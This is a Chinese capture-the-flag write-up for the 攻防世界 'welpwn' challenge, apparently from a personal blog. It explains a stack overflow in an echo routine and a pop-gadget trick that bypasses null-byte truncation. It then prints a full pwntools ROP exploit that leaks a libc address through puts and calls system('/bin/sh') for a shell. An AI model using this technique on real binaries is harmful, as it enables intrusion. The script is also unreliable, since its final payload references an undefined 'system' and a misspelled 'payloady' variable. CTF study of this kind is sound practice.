攻防世界pwn-welpwn


打开于2023年9月11日13:39:59
完成于2023年9月12日23:30:32
这道题目很巧妙

checksec检查, 没有开启什么保护
checksec检查
首先来看主函数, 用read函数来做一个输入, buf的大小为1024, read也是输入1024, 这里没有可利用的点存在.
main函数
跟进echo函数看一下, 在该函数中会将buf复制到s2中, s2的大小是16. 复制过程通过for循环来完成. for循环的结束条件是*(_BYTE *)(i + a1) == 0.
echo函数
程序的漏洞点就在echo函数中, 因为将buf复制给s2的过程中可以造成溢出. 通过此处的溢出来完成一系列操作.
首先, 因为程序中并没有可以利用的system等, 所以需要通过writeputs来泄漏libc地址
其次, 由于for循环的结束条件限制, 构造的payload会被截断. 因为p64地址中存在00填充字符. 如果直接构造payload = b'a' * 16 + b'a' * 8 这样来覆盖echo的返回地址, 并不会成功, 之后保留第一个执行地址, 后面的都会被断掉.
在调试过程中发现s2buf在栈中相距0x20即32, 而且他们之间隔着的是echo rbpecho ret. 在这里可以利用pop|ret来绕过复制过程中的截断.
buf与echo的栈关系
如下图所示, 首先s2的大小是16, 现在构造这样的payload = buf = b'a' * 24 + pop_4_ret + pop_rdi + write_got + puts_plt + main_addr, 那么在复制过程中会在会将pop_4_ret之前的(包括pop)复制到s2的栈中, 会将echo rbp, echo ret给覆盖掉, echo ret变成了pop_4_ret, echo在返回时执行pop_4_ret, 通过四次pop操作, 将栈中接下来的a * 24 + pop_4_ret(图中红色部分)出栈, 然后跳转开始执行pop_rdi这部分payload, 来泄漏地址.
ROP链示意
通过ROPgadet在程序中找到pop片段的起始地址为0x40089C–>pop_4_ret = 0x40089C
pop_4_ret
然后通过LibcSearcher由上述payload泄漏出的地址找到对应的libc, 利用libc中的system等来getshell. 第二次溢出getshellpayload与泄漏libc的相似.
完整exp如下所示.

from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
elf = ELF('./welpwn')
sh = process('./welpwn')

main_addr = 0x4007CD
pop_rdi = 0x4008A3
pop_4_ret = 0x40089C

write_plt = elf.plt['write']
write_got = elf.got['write']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

payload = b'a' * 16 + b'a' * 8 + p64(pop_4_ret) + p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(main_addr)

sh.sendlineafter(b'RCTF', payload) 
sh.recvuntil(b'\x40')
write_addr = u64(sh.recv(6).ljust(8, b'\x00'))
print(hex(write_addr))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')

sh.recvuntil('\n')
payload = b'a' * 16 + b'a' * 8 + p64(pop_4_ret) + p64(pop_rdi) + p64(str_bin_sh) + p64(system)

sh.send(payloady)
sh.interactive()

文章作者: xysx
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 xysx !
评论